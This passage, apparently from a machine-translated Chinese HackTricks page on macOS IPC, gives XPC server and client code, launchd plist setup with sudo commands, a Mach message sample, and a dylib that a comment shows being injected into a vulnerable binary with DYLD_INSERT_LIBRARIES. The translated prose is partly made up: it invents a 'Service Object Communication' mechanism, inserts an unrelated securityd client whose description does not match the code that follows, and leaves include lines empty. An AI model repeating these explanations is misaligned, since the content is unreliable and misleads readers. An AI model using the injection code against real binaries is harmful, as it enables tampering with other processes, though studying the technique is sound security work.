xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
if (xpc_get_type(event) == XPC_TYPE_DICTIONARY) {
// Print received message
const char* received_message = xpc_dictionary_get_string(event, "received");
printf("Received message: %s\n", received_message);
}
});
xpc_connection_resume(connection);
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "message", "Hello, Server!");
xpc_connection_send_message(connection, message);
dispatch_main();
return 0;
}
```
{% tab title="xyz.hacktricks.service.plist" %}xyz.hacktricks.service.plist是一个属性列表文件,用于配置macOS系统中的服务。它定义了服务的名称、描述、启动方式和其他相关属性。在这个文件中,你可以指定服务的执行路径、环境变量和启动参数。你还可以设置服务的启动顺序和依赖关系。通过编辑这个文件,你可以定制和管理系统中的服务。
```xml
Label
xyz.hacktricks.service
MachServices
xyz.hacktricks.service
Program
/tmp/xpc_server
ProgramArguments
/tmp/xpc_server
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc xpc_server.c -o xpc_server
gcc xpc_client.c -o xpc_client
# Save server on it's location
cp xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.service.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.service.plist
# Call client
./xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.service.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.service.plist /tmp/xpc_server
```
### ObjectiveC 代码示例
{% tabs %}
{% tab title="oc_xpc_server.m" %}
```objectivec
// gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
#include
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
@interface MyXPCObject : NSObject
@end
@implementation MyXPCObject
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply {
NSLog(@"Received message: %@", some_string);
NSString *response = @"Received";
reply(response);
}
@end
@interface MyDelegate : NSObject
@end
@implementation MyDelegate
- (BOOL)listener:(NSXPCListener *)listener shouldAcceptNewConnection:(NSXPCConnection *)newConnection {
newConnection.exportedInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
MyXPCObject *my_object = [MyXPCObject new];
newConnection.exportedObject = my_object;
[newConnection resume];
return YES;
}
@end
int main(void) {
NSXPCListener *listener = [[NSXPCListener alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc"];
id delegate = [MyDelegate new];
listener.delegate = delegate;
[listener resume];
sleep(10); // Fake something is done and then it ends
}
```
{% tab title="oc_xpc_client.m" %}oc_xpc_client.m文件
```objective-c
#import
#import
int main(int argc, const char * argv[]) {
@autoreleasepool {
xpc_connection_t connection = xpc_connection_create_mach_service("com.apple.securityd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED);
xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
xpc_type_t type = xpc_get_type(event);
if (type == XPC_TYPE_DICTIONARY) {
const char *description = xpc_dictionary_get_string(event, "description");
if (description) {
printf("Received event: %s\n", description);
}
}
});
xpc_connection_resume(connection);
dispatch_main();
}
return 0;
}
```
这是一个Objective-C文件,用于创建一个XPC客户端连接到`com.apple.securityd`服务。它使用`xpc_connection_create_mach_service`函数创建一个特权的Mach服务连接,并使用`xpc_connection_set_event_handler`函数设置一个事件处理程序来处理接收到的事件。在事件处理程序中,它检查事件的类型是否为字典类型,并获取字典中的描述信息。如果存在描述信息,则打印出接收到的事件描述。最后,它通过调用`dispatch_main`函数来启动主循环,以保持连接的活动状态。
```objectivec
// gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
#include
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
int main(void) {
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:@"xyz.hacktricks.svcoc" options:NSXPCConnectionPrivileged];
connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)];
[connection resume];
[[connection remoteObjectProxy] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
}];
[[NSRunLoop currentRunLoop] run];
return 0;
}
```
{% tab title="xyz.hacktricks.svcoc.plist" %}xyz.hacktricks.svcoc.plist是一个属性列表文件,用于配置macOS中的服务对象通信(Service Object Communication,简称SOC)。SOC是一种进程间通信(IPC)机制,允许不同进程之间相互通信和共享数据。该文件用于定义SOC的配置参数,包括服务名称、通信方式、权限等。通过修改该文件,可以对SOC进行定制和优化,以增强macOS的安全性和特权升级防护。
```xml
Label
xyz.hacktricks.svcoc
MachServices
xyz.hacktricks.svcoc
Program
/tmp/oc_xpc_server
ProgramArguments
/tmp/oc_xpc_server
```
{% endtab %}
{% endtabs %}
```bash
# Compile the server & client
gcc -framework Foundation oc_xpc_server.m -o oc_xpc_server
gcc -framework Foundation oc_xpc_client.m -o oc_xpc_client
# Save server on it's location
cp oc_xpc_server /tmp
# Load daemon
sudo cp xyz.hacktricks.svcoc.plist /Library/LaunchDaemons
sudo launchctl load /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
# Call client
./oc_xpc_client
# Clean
sudo launchctl unload /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist
sudo rm /Library/LaunchDaemons/xyz.hacktricks.svcoc.plist /tmp/oc_xpc_server
```
### Dylib代码中的客户端
在macOS中,动态链接库(Dylib)是一种共享库,可以在多个进程之间共享代码和数据。在Dylib代码中,可以实现客户端来进行进程间通信(IPC)。
#### 使用Mach消息传递进行IPC
Mach是macOS内核的一部分,它提供了一种IPC机制,允许进程之间通过消息传递进行通信。在Dylib代码中,可以使用Mach消息传递来实现IPC。
以下是一个示例代码,展示了如何在Dylib中创建一个客户端来发送Mach消息:
```c
#include
void send_mach_message() {
mach_port_t server_port;
kern_return_t kr;
// 获取服务器端口
kr = task_get_special_port(mach_task_self(), TASK_BOOTSTRAP_PORT, &server_port);
if (kr != KERN_SUCCESS) {
// 处理错误
return;
}
// 创建消息
mach_msg_header_t msg;
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg.msgh_size = sizeof(msg);
msg.msgh_remote_port = server_port;
msg.msgh_local_port = MACH_PORT_NULL;
msg.msgh_reserved = 0;
// 发送消息
kr = mach_msg(&msg, MACH_SEND_MSG, sizeof(msg), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {
// 处理错误
return;
}
}
```
在上述示例中,`send_mach_message`函数创建了一个Mach消息,并将其发送到服务器端口。通过修改消息的内容和参数,可以实现更复杂的IPC功能。
#### 其他IPC机制
除了Mach消息传递,macOS还提供了其他IPC机制,如XPC和UNIX域套接字。在Dylib代码中,可以根据需求选择适合的IPC机制来实现进程间通信。
### 客户端内部的Dylib代码
```
// gcc -dynamiclib -framework Foundation oc_xpc_client.m -o oc_xpc_client.dylib
// gcc injection example:
// DYLD_INSERT_LIBRARIES=oc_xpc_client.dylib /path/to/vuln/bin
#import
@protocol MyXPCProtocol
- (void)sayHello:(NSString *)some_string withReply:(void (^)(NSString *))reply;
@end
__attribute__((constructor))
static void customConstructor(int argc, const char **argv)
{
NSString* _serviceName = @"xyz.hacktricks.svcoc";
NSXPCConnection* _agentConnection = [[NSXPCConnection alloc] initWithMachServiceName:_serviceName options:4096];
[_agentConnection setRemoteObjectInterface:[NSXPCInterface interfaceWithProtocol:@protocol(MyXPCProtocol)]];
[_agentConnection resume];
[[_agentConnection remoteObjectProxyWithErrorHandler:^(NSError* error) {
(void)error;
NSLog(@"Connection Failure");
}] sayHello:@"Hello, Server!" withReply:^(NSString *response) {
NSLog(@"Received response: %@", response);
} ];
NSLog(@"Done!");
return;
}
```
## 参考资料
* [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
* [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)
* [https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a](https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a)
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